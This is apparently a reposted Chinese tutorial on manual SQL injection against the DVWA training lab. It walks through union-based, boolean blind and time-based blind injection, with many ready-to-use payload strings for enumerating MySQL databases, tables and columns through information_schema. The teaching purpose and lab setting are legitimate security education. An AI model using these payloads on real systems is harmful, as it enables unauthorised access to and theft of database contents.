SQL手工注入學習 一


sql注入:    (基於DVWA環境的sql注入)

 

流程:
    1、判斷是否有SQL注入漏洞
    2、判斷操作系統、數據庫和web應用的類型
    3、獲取數據庫信息看,包括管理員信息(拖庫)
    4、加密信息破解(sqlmap支持自動破解)
    5、提示權限,獲得sql-shell,os-shell、web-shell...
   

low級別下的PHP源碼:

由源碼可以分析出 圖中所圈指的為sql執行語句,而$id並沒有對輸入的字符做嚴格的限制(檢查)所以我們直接輸入sql注入語句:

上圖為 用戶提交信息的界面,一旦輸入了注入語句,則會直接回顯所有數據內容。

 注入語句執行后相當於執行如下的SQL命令:    

以上為 基於 布爾 的注入方式;

簡單總結

 ---------------------

上圖為基於 union 的sql注入方式;等同於執行如下的sql命令:

注入語句:        union ....【組合語句函數】
    例如:        union select [待查看的信息或mysql函數]
                union select version(),user()
sql執行內容     select first_name, last_name from where user_id=' 'union select version(),user() -- ' '; ;
解析:    1、語句的單引號的作用依舊是閉合前者的條件
        2、union 組合語句函數,select 查看內容函數 version(),user() 查看版本和當前用戶名 
        3、ps:由於sql語句只是執行顯示兩列內容,則組合語句內容僅且必須為兩個條件
簡單總結

 

----------------------

以上為基於 union 的注入 查看所有的數據庫名;等同於下條語句。

查詢數據庫中所有表:
    information_schema 數據庫是mysql自帶的,它提供了訪問數據庫元數據的方式;
        元數據包括:數據庫名,表名,列數據類型,訪問權限,字符集等基礎元素。
    例: select * from information_schema.tables\G

 --------------------

union語句用於聯合前面的語句,合並查詢更多的信息:

  一般通過錯誤和布爾注入確認注入點(猜),便開始通過union語句結合mysql函數來獲得更多信息;

  一般需要才數據列數:

    * ' union select 1  -- '

    * ' union select 1,2  -- '

    * ' union select 1,2,3 -- '

        ....

 總結:前面做閉合,后面做注釋,將自己的注入語句變成"唯一可有效回顯"的執行語句;

 

盲注:
    一般的sql注入在我們輸入sql語句的時候都會返回我們執行sql語句的結果,
    比如我們插入database(),執行結果就會是列舉出當前所在的數據庫名稱dvwa;
    而盲注就好像是在做判斷題,我們執行的結果不會顯示出來,只會告訴你“對”或者“不對”,不會出現回顯現象。
    回顯:就是顯示正在執行的批處理命令及執行的結果等。
    
    猜測長度:1’ and length(database())>1 #  或>1(依次遞增1,2,3…)4
    猜測庫名:1’ and ascii(substr(database(),1,1))>97 # (對應ASCII碼) dvwa
            <、>號可以迅速確定大概范圍
    猜測表名:
        1、猜測表的數量:1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#
        2、猜測表長度:1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #
        獲取表名:1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #
    猜測字段的長度:
        1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 #
    猜解字段:
        1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>120 #

基於時間的盲注    
    判斷數據庫長度:1’ and if(length(database())=4,sleep(3),1) #
    猜測數據庫名稱:1’ and if(ascii(substr(database(),1,1))>97,sleep(3),1)#
    猜測表的數量:1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)#
    猜測表名的長度:1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) #
    下面就都可以結合二分法來進行操作…


 

 

 

 

。。。。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM